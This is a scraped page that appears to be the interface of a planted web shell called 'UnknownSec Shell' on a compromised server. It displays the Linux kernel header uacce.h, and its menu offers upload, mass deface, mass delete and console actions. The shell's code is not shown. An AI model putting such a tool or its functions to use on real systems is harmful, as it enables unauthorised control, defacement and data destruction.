shell bypass 403
UnknownSec Shell
:
/
usr
/
src
/
linux-headers-6.8.0-36-generic
/
include
/
linux
/ [
drwxr-xr-x
]
upload
mass deface
mass delete
console
info server
name :
uacce.h
/* SPDX-License-Identifier: GPL-2.0-or-later */ #ifndef _LINUX_UACCE_H #define _LINUX_UACCE_H #include <linux/cdev.h> #include <uapi/misc/uacce/uacce.h> #define UACCE_NAME "uacce" #define UACCE_MAX_REGION 2 #define UACCE_MAX_NAME_SIZE 64 #define UACCE_MAX_ERR_THRESHOLD 65535 struct uacce_queue; struct uacce_device; /** * struct uacce_qfile_region - structure of queue file region * @type: type of the region */ struct uacce_qfile_region { enum uacce_qfrt type; }; /** * struct uacce_ops - uacce device operations * @get_available_instances: get available instances left of the device * @get_queue: get a queue from the device * @put_queue: free a queue to the device * @start_queue: make the queue start work after get_queue * @stop_queue: make the queue stop work before put_queue * @is_q_updated: check whether the task is finished * @mmap: mmap addresses of queue to user space * @ioctl: ioctl for user space users of the queue * @get_isolate_state: get the device state after set the isolate strategy * @isolate_err_threshold_write: stored the isolate error threshold to the device * @isolate_err_threshold_read: read the isolate error threshold value from the device */ struct uacce_ops { int (*get_available_instances)(struct uacce_device *uacce); int (*get_queue)(struct uacce_device *uacce, unsigned long arg, struct uacce_queue *q); void (*put_queue)(struct uacce_queue *q); int (*start_queue)(struct uacce_queue *q); void (*stop_queue)(struct uacce_queue *q); int (*is_q_updated)(struct uacce_queue *q); int (*mmap)(struct uacce_queue *q, struct vm_area_struct *vma, struct uacce_qfile_region *qfr); long (*ioctl)(struct uacce_queue *q, unsigned int cmd, unsigned long arg); enum uacce_dev_state (*get_isolate_state)(struct uacce_device *uacce); int (*isolate_err_threshold_write)(struct uacce_device *uacce, u32 num); u32 (*isolate_err_threshold_read)(struct uacce_device *uacce); }; /** * struct uacce_interface - interface required for uacce_register() * @name: the uacce device name. Will show up in sysfs * @flags: uacce device attributes * @ops: pointer to the struct uacce_ops */ struct uacce_interface { char name[UACCE_MAX_NAME_SIZE]; unsigned int flags; const struct uacce_ops *ops; }; enum uacce_dev_state { UACCE_DEV_NORMAL, UACCE_DEV_ISOLATE, }; enum uacce_q_state { UACCE_Q_ZOMBIE = 0, UACCE_Q_INIT, UACCE_Q_STARTED, }; /** * struct uacce_queue * @uacce: pointer to uacce * @priv: private pointer * @wait: wait queue head * @list: index into uacce queues list * @qfrs: pointer of qfr regions * @mutex: protects queue state * @state: queue state machine * @pasid: pasid associated to the mm * @handle: iommu_sva handle returned by iommu_sva_bind_device() * @mapping: user space mapping of the queue */ struct uacce_queue { struct uacce_device *uacce; void *priv; wait_queue_head_t wait; struct list_head list; struct uacce_qfile_region *qfrs[UACCE_MAX_REGION]; struct mutex mutex; enum uacce_q_state state; u32 pasid; struct iommu_sva *handle; struct address_space *mapping; }; /** * struct uacce_device * @algs: supported algorithms * @api_ver: api version * @ops: pointer to the struct uacce_ops * @qf_pg_num: page numbers of the queue file regions * @parent: pointer to the parent device * @is_vf: whether virtual function * @flags: uacce attributes * @dev_id: id of the uacce device * @cdev: cdev of the uacce * @dev: dev of the uacce * @mutex: protects uacce operation * @priv: private pointer of the uacce * @queues: list of queues */ struct uacce_device { const char *algs; const char *api_ver; const struct uacce_ops *ops; unsigned long qf_pg_num[UACCE_MAX_REGION]; struct device *parent; bool is_vf; u32 flags; u32 dev_id; struct cdev *cdev; struct device dev; struct mutex mutex; void *priv; struct list_head queues; }; #if IS_ENABLED(CONFIG_UACCE) struct uacce_device *uacce_alloc(struct device *parent, struct uacce_interface *interface); int uacce_register(struct uacce_device *uacce); void uacce_remove(struct uacce_device *uacce); #else /* CONFIG_UACCE */ static inline struct uacce_device *uacce_alloc(struct device *parent, struct uacce_interface *interface) { return ERR_PTR(-ENODEV); } static inline int uacce_register(struct uacce_device *uacce) { return -EINVAL; } static inline void uacce_remove(struct uacce_device *uacce) {} #endif /* CONFIG_UACCE */ #endif /* _LINUX_UACCE_H */
© 2026 UnknownSec